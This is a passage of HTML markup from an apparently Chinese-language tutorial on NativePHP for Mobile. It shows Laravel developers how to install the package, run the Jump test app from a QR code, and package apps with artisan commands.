left;&quot;&gt;&lt;h3 data-heading=&quot;true&quot; style=&quot;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);margin-right: 0px;margin-bottom: 0.75em;margin-left: 0px;color: rgb(63, 63, 63);font-size: 17.6px;font-weight: bold;line-height: 1.2;text-align: justify;margin-top: 0px !important;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;介绍&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;你是一名 Laravel 开发者。你熟悉 Blade、Livewire，或许还会一点 Vue 或 React。但你从来没有碰过 Swift 或者 Kotlin。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;好消息：你完全不需要学它们。&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;NativePHP for Mobile&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;让你可以用已有的技能，开发出真正的原生 iOS 和 Android 应用。&lt;/span&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;接下来 5 分钟内&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;，你就能在自己手机上运行一个应用。&lt;/span&gt;&lt;/p&gt;&lt;h3 data-heading=&quot;true&quot; style=&quot;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);margin: 2em 0px 0.75em;color: rgb(63, 63, 63);font-size: 17.6px;font-weight: bold;line-height: 1.2;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;最快路径：使用 Jump&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #FF4F79;font-weight: normal;text-decoration: line-through;&quot;&gt;忘掉下载 Xcode（40GB+）。忘掉配置 Android Studio。全部都不需要&lt;/span&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #FF4F79;font-weight: normal;text-decoration: none;&quot;&gt;。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;Jump&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;是一款免费应用，它可以让你&lt;/span&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;瞬间&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;在真机上测试 NativePHP 应用，&lt;/span&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;无需编译&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;。&lt;/span&gt;&lt;/p&gt;&lt;h4 data-heading=&quot;true&quot; style=&quot;margin: 2em 0px 0.5em;color: rgb(15, 76, 129);font-size: 16px;font-weight: bold;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;步骤 1：在手机上安装 Jump&lt;/span&gt;&lt;/h4&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;前往以下地址下载 Jump：&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;https://bifrost.nativephp.com/jump&lt;/span&gt;&lt;/p&gt;&lt;h4 data-heading=&quot;true&quot; style=&quot;margin: 2em 0px 0.5em;color: rgb(15, 76, 129);font-size: 16px;font-weight: bold;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;步骤 2：创建一个 Laravel 项目&lt;/span&gt;&lt;/h4&gt;&lt;pre style=&quot;color: rgb(255, 255, 255);background: rgb(28, 27, 27);font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 0px;text-align: justify;padding: 0px !important;&quot;&gt;&lt;span style=&quot;display: none;padding: 10px 14px 0px;&quot;&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; version=&quot;1.1&quot; x=&quot;0px&quot; y=&quot;0px&quot; width=&quot;45px&quot; height=&quot;13px&quot; viewbox=&quot;0 0 450 130&quot;&gt;&lt;ellipse cx=&quot;50&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(220,60,54)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(237,108,96)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;225&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(218,151,33)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(247,193,81)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;400&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(27,161,37)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(100,200,86)&quot;&gt;&lt;/ellipse&gt;&lt;/svg&gt;&lt;/span&gt;&lt;code style=&quot;font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;margin-top: 0px;margin-bottom: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;text-align: justify;display: flex;align-items: flex-start;overflow: hidden auto;width: 100%;max-width: 100%;padding: 0px;box-sizing: border-box;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;padding: 8px 0px;border-right: 1px solid rgba(0, 0, 0, 0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0px !important;&quot;&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-top: 0px !important;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;1&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;flex: 1 1 auto;overflow: auto visible;padding: 8px;min-width: 0px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;text-align: justify;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;laravel new my-mobile-app&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;cd&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;my-mobile-app&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h4 data-heading=&quot;true&quot; style=&quot;margin: 2em 0px 0.5em;color: rgb(15, 76, 129);font-size: 16px;font-weight: bold;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;步骤 3：安装 NativePHP Mobile&lt;/span&gt;&lt;/h4&gt;&lt;pre style=&quot;color: rgb(255, 255, 255);background: rgb(28, 27, 27);font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 0px;text-align: justify;padding: 0px !important;&quot;&gt;&lt;span style=&quot;display: none;padding: 10px 14px 0px;&quot;&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; version=&quot;1.1&quot; x=&quot;0px&quot; y=&quot;0px&quot; width=&quot;45px&quot; height=&quot;13px&quot; viewbox=&quot;0 0 450 130&quot;&gt;&lt;ellipse cx=&quot;50&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(220,60,54)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(237,108,96)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;225&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(218,151,33)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(247,193,81)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;400&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(27,161,37)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(100,200,86)&quot;&gt;&lt;/ellipse&gt;&lt;/svg&gt;&lt;/span&gt;&lt;code style=&quot;font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;margin-top: 0px;margin-bottom: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;text-align: justify;display: flex;align-items: flex-start;overflow: hidden auto;width: 100%;max-width: 100%;padding: 0px;box-sizing: border-box;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;padding: 8px 0px;border-right: 1px solid rgba(0, 0, 0, 0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0px !important;&quot;&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-top: 0px !important;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;1&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;flex: 1 1 auto;overflow: auto visible;padding: 8px;min-width: 0px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;text-align: justify;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;composer&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;require&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;nativephp/mobile&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h4 data-heading=&quot;true&quot; style=&quot;margin: 2em 0px 0.5em;color: rgb(15, 76, 129);font-size: 16px;font-weight: bold;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;步骤 4：启动 Jump 服务器&lt;/span&gt;&lt;/h4&gt;&lt;pre style=&quot;color: rgb(255, 255, 255);background: rgb(28, 27, 27);font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 0px;text-align: justify;padding: 0px !important;&quot;&gt;&lt;span style=&quot;display: none;padding: 10px 14px 0px;&quot;&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; version=&quot;1.1&quot; x=&quot;0px&quot; y=&quot;0px&quot; width=&quot;45px&quot; height=&quot;13px&quot; viewbox=&quot;0 0 450 130&quot;&gt;&lt;ellipse cx=&quot;50&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(220,60,54)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(237,108,96)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;225&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(218,151,33)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(247,193,81)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;400&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(27,161,37)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(100,200,86)&quot;&gt;&lt;/ellipse&gt;&lt;/svg&gt;&lt;/span&gt;&lt;code style=&quot;font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;margin-top: 0px;margin-bottom: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;text-align: justify;display: flex;align-items: flex-start;overflow: hidden auto;width: 100%;max-width: 100%;padding: 0px;box-sizing: border-box;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;padding: 8px 0px;border-right: 1px solid rgba(0, 0, 0, 0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0px !important;&quot;&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-top: 0px !important;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;1&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;flex: 1 1 auto;overflow: auto visible;padding: 8px;min-width: 0px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;text-align: justify;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;php artisan native:jump&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;终端会显示一个&amp;nbsp;&lt;/span&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;二维码&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;。&lt;/span&gt;&lt;/p&gt;&lt;h4 data-heading=&quot;true&quot; style=&quot;margin: 2em 0px 0.5em;color: rgb(15, 76, 129);font-size: 16px;font-weight: bold;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;步骤 5：扫码启动&lt;/span&gt;&lt;/h4&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;打开手机上的 Jump 应用，扫描终端中的二维码……&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;就结束了。&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;你刚刚用 PHP 写了一个能在手机上运行的原生应用，而且只花了 5 分钟。&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;h3 data-heading=&quot;true&quot; style=&quot;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);margin: 2em 0px 0.75em;color: rgb(63, 63, 63);font-size: 17.6px;font-weight: bold;line-height: 1.2;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;刚才到底发生了什么？&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;内嵌了 PHP 运行时&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;—— 预编译的 PHP 运行在设备本地&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;直接运行 Laravel&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;—— 你的应用&lt;/span&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;运行在手机本地&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;，而不是远程服务器&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;桥接到原生 API&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;—— PHP 代码可以直接调用 iOS / Android 原生接口&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;无需 Web 服务器&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;—— 完全离线可用&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;这不是 WebView 包装&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;。 这是&lt;/span&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;真正的 PHP 原生运行&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;。&lt;/span&gt;&lt;/p&gt;&lt;h3 data-heading=&quot;true&quot; style=&quot;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);margin: 2em 0px 0.75em;color: rgb(63, 63, 63);font-size: 17.6px;font-weight: bold;line-height: 1.2;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;完整的打包发布流程&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;如果需要发布到 App Store 或 Google Play：&lt;/span&gt;&lt;/p&gt;&lt;pre style=&quot;color: rgb(255, 255, 255);background: rgb(28, 27, 27);font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 0px;text-align: justify;padding: 0px !important;&quot;&gt;&lt;span style=&quot;display: none;padding: 10px 14px 0px;&quot;&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; version=&quot;1.1&quot; x=&quot;0px&quot; y=&quot;0px&quot; width=&quot;45px&quot; height=&quot;13px&quot; viewbox=&quot;0 0 450 130&quot;&gt;&lt;ellipse cx=&quot;50&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(220,60,54)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(237,108,96)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;225&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(218,151,33)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(247,193,81)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;400&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(27,161,37)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(100,200,86)&quot;&gt;&lt;/ellipse&gt;&lt;/svg&gt;&lt;/span&gt;&lt;code style=&quot;font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;margin-top: 0px;margin-bottom: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;text-align: justify;display: flex;align-items: flex-start;overflow: hidden auto;width: 100%;max-width: 100%;padding: 0px;box-sizing: border-box;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;padding: 8px 0px;border-right: 1px solid rgba(0, 0, 0, 0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0px !important;&quot;&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-top: 0px !important;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;1&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;3&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;flex: 1 1 auto;overflow: auto visible;padding: 8px;min-width: 0px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;text-align: justify;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;composer&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;require&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;nativephp/mobile&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;php artisan&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;native&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;:install&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;php artisan&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;native&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;:run&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3 data-heading=&quot;true&quot; style=&quot;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);margin: 2em 0px 0.75em;color: rgb(63, 63, 63);font-size: 17.6px;font-weight: bold;line-height: 1.2;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;第一个原生功能演示：触觉反馈&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 